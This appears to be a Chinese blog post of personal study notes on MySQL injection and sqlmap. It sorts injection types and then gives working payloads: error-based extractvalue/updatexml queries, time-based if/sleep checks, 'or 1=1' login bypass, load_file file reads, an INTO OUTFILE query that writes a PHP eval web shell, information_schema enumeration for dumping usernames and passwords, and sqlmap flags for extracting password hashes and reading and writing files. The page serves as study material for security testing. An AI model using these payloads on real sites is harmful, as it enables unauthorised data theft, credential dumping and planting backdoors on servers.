mysql-injection整理

SQL注入分类

基于注入的参数类型

1、数值型

2、字符型

存在这样的分类,个人理解是基于闭合的手段不一样 如:

htttp://xxxxxx/xxx.php?id=1 功能查询指定用户

大致SQL

数值型: select * from user where id=1 and xxxxx; 后续pyload 可以 'id=1 or 1=1 # ’ 不需要闭合可以直接输入恶意的SQL 信息

字符型:select * from user where id=‘1’ and xxxxx;后续pyload 需要闭合原来的闭合 再进行输入恶意的SQL信息如:id=1‘ or 1=1 #

基于注入点位子

1、GET类型

2、POST类型

3、cookie类型

4、HTTP head类型

基于注入的程度和顺序

1、一阶注入: 直接输入恶意SQL直接对WEB产生作用

2、二阶注入:指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间
接的对 WEB 产生危害;类似于业务处理流程上 仅对输入做了手段进行限制 对本地内容输出未作限制 ,导致第二阶段输出内容经过程序加载成为恶意SQL

大致流程:输入恶意SQL —》程序进行校验或转译(恶意SQL无害化)—》存储于数据库 —》程序触发调用存储数据—》未进行校验或转译—》执行恶意SQL—》导致数据泄露

约束型注入

原理:创建数据库存在对字段长度进行约束,输入超过其长度限制系统会进行截取,剔除多余字段

如:password字段设置为varchar(10),insert 插入语句values赋值超过限制长度将会截取

补充:MYSQL的鲁棒性

参数多出来空格将会进行处理

如:select * from xx where name='ccc ’ 与 select * from xx where name='ccc’查询结果一致

基于服务器返回的响应

有回显:

联合查询注入

报错注入

堆叠注入(不适用Oracle)

无回显

布尔注入

延时注入

SQL基本语法

1、常见函数

1.1 系统函数

version() --MYSQ版本信息

user() --当前使用库的用户名

database() --当前使用库名

@@datadir --数据库路径

@@version_compile_os --操作系统版本

使用:select version()

1.2 连接字符串函数

concat(str1,str2) --无分割连接字符 表数据查询拼接:行数据的拼接

concat_ws(separator,str1,str2) --含分隔符拼接 ;With Separato 缩写为ws;表数据查询拼接:行数据的拼接,使用字符分割更清晰每字段数据

group_concat(str1,str2) --连接一组数据 ;表数据查询拼接:列数据的拼接

1.3其他

union --合并两个或多个select语句结果集

注意点:1、相同数列 2、相似数据类型 3、在sql注入操作下需要存在回显

用法如:

select 1 as ID, 2 as name union select 3,4;

order by语句 --1、可指定列结果排序 2、可指定列号排列

注:SQL注入测试使用列号排序,order by 排序超出表列号会报错,运用它来判断列数

extractvalue --报错输入使用

例:extractvalue(1,concat(0x7e,(select @@version),0x7e)) ;#07xe目的是为了明确报错数据内容

select * from user where id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e));
updatexml --报错输入使用

例:updatexml(1,concat(0x7e,(select database()),0x7e),1)

select * from user where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
left ( input_string , number_of_characters ) --从1开始取值 ;从左至右取值;
substr(str,pos,len --从1开始取值;从左往右比left灵活
if与sleep组合-延时注入

例:

select * from user where id=1 and if(left(database(),1)='t',0,sleep(5))#数据库字段判断错误将进行延时

注:sleep函数被过滤,可以使用case、while以及计算等方式来起到延时作用

load_file()导出文件 --Load_file(file_name):读取文件并返回该文件的内容作为一个字符串

使用条件

A、必须有权限读取并且文件必须完全可读

and (select count(*) from mysql.user)>0#如果结果返回正常,说明具有读写权限

and (select count(*) from mysql.user)>0#返回错误,应该是管理员给数据库帐户降权

B、欲读取文件必须在服务器上

C、必须指定文件完整的路径

D、欲读取文件必须小于 max_allowed_packet

除使用者权限和输出大小(max_allowed_packet)限制外 还需要注意界面需要有回显和特殊符号转义

注:max_allowed_packet:查看 show VARIABLES like ‘max_allowed_packet’

例:

select * from user id=-1 union select 1,file_load("c://key.php")
SELECT…INTO OUTFILE ‘file_name’ --文件导入

例:一句话木马导入

Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

例:web使用

http://xxxxx/user.php?id=-1' union select 1,'<?php @eval($_post[“mima”])?>'   into outfile "c:\\tmp.php"
SQL逻辑算法

and 逻辑与 false and True =false 两个条件都满足为True
or 逻辑或 false or True =True 其中一个条件满足为True
很早之前用户登录登录界面校验不严谨的时候,出现 1’ or 1=1 # 这类字符串来作为万能密码,从而逃过密码校验成功登录
伪sql如下: select * from user where username=‘admin’ and pw=‘1’ or 1=1 (因用户数据不可知 and逻辑为false 但1=1是衡成立为)

注入流程

库-》表-》列-》具体字段内容

以mysql数据为例(>V5.0) 为什么使用V5.0以上版本来为例,因该些版本存在一个特殊的库 information_schema 该库含其他数据的库的所有信息
通过它来跟踪获取数据更加方便

mysql(information_shema)->information_schema.tables(里面对应库(table_shema)与表(table_name)的关系,根据table_shema与table_name来找自己所需库和表信息)
->information_schema.columns->(里面对应库、表、列关系,通过table_schema,table_name,column_name找到所需的列)-> 库表列都知道直接就可以提取所需数据伪sql如下:

1、寻找可用数据的库和表

select group_concat(table_name) from information_schema.tables where table_shema=database();#获取当前数据库的表名,以组合一起展示,目的是页面回显SQL注入信息是一次性展示完

2、假设第一步获取table_name=‘user’

select group_concat(column_name) from information_schema.columns where table_shema=database() and table_name='user';#获取第一步想要结果的列名

3、假设第二步获取column_name 重要列为username,password

select concat_ws(':',username,password) from user #获取username,password的数据以:分割返回展示

SQLMAP使用

一、注入模式

1、布尔注入 2、延时盲注 3、联合查询注入 5、堆叠注入:使用多个执行语执行输入 ;例 select xxx from user;select xxx from information; 6、内联注入: 查询注入一些SQL 代码后,原来的查询仍然会全部执行 例 select xxx from user where id=-1 or 1=1;

所对应的参数
–technique=(默认全部使用)
B 基于布尔盲注
T 基于时间盲注
E 基于报错注入
U 基于UNION查询(联合查询)注入
S 基于多语句查询(堆叠注入)
Q 内联注入

二、目标

-u 目标URL 例: sqlmap -u “www.xxx.com/index.php?id=1”

-m filepath +filename,文件可以理解为uri集 内容为BP和抓包工具获取请求数据

-r filepath+filename 与-m参数像似 请求方式为post

三、检测

设置SQL注入解析的位置和注入内容 --level=LEVEL 执行等级(1-5,默认1级)

lv2:cookies ;

lv3:user-agent,refere;

lv5:cookie、XFF等头部注入

四、枚举

-b, --banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–dbs 枚举数据库管理系统数据库
–tables 枚举DBMS数据库中的表
–columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名

五、文件操作

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

六、其他杂项

–batch 测试过程中, 执行所有默认配置

参考:

https://zhuanlan.zhihu.com/p/377428620

https://github.com/sqlmapproject/sqlmap/wiki/Usage

http://www.cnblogs.com/lcamry/category/846064.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值